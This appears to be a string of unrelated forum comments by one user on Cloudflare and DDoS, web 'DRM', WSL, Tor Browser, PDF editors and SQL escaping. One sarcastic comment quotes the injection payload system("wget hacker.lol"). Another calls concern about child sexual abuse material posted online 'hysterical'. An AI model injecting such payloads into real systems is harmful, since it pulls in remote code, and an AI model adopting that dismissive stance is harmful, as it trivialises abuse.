> And there isn't really Cloudflare for independent game servers

And yet game servers still work fine. Which answers this subthread's question ("how likely is it to get DDoSed if you don't have Cloudflare"), answer: not very likely, it happens once in a while at most.

If people knew how to play the 5 hour long game they wouldn't have been using Cloudflare in the first place.

Why do people on a technical website suggest this? It's literally the same snake oil as Cloudflare. Both have an endgame of total web DRM; they want to make sure users "aren't bots". Each time the DRM is cracked, they will increase its complexity of the "verifier". You will be running arbitrary code in your big 4 browser to ensure you're running a certified big 4 browser, with 10 trillion man hours of development, on an certified OS.

It is hysterical to spaz out upon seeing a cp posted on the internet where anyone from a pool of 7 billion people are allowed to post. It is hysterical to lose sleep over that. No "free speech extremist" bends over to fight cp because it would involve vetting each post individually, only letting people you know personally post to your site, etc. You are giving into the FBI's impossible request.

I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!

That's how I do it. I don't see the draw for Windows as the main OS, especially with Windows 10+ being dumbed down beyond belief and having seconds of lag to do anything at all. Seems even from this thread that people just want the convenience of a gaming rig in the same box as their work (which is a security issue because games are full of remote code execution vulnerabilities).

For me it was slow, full of compatibility issues, and glitchy. Some simple packages wouldn't even install in the official Ubuntu WSL distro. To be honest I don't know what the use case for this is, other than to run some one-off Linux thing once in a while without having to use another box.

You still only need one photo per hundreds of days for that, though.

It will be easier for you to run Tor Browser yourself. TB is made to act exactly the same on all platforms.

I tested in Tor Browser at standard security level and it's blank except the thumbnails on the left show fine, so just a minor glitch somewhere is breaking it. I presume it doesn't support TOC then, which is a shame. On the upside, the signature feature is well appreciated, something sorely missing from most other PDF editors.

Pretty good point. I just wonder if databases in generally can be perfectly reconstructed from a text dump. For instance, do the insertion orders change in any of the operations between dumping and importing?

What? If I construct my queries the right way (e.g., not concatenating strings together like it's the year 1990), then I never will want a WAF "helping" me by blocking my users because they have an apostrophe in their name.
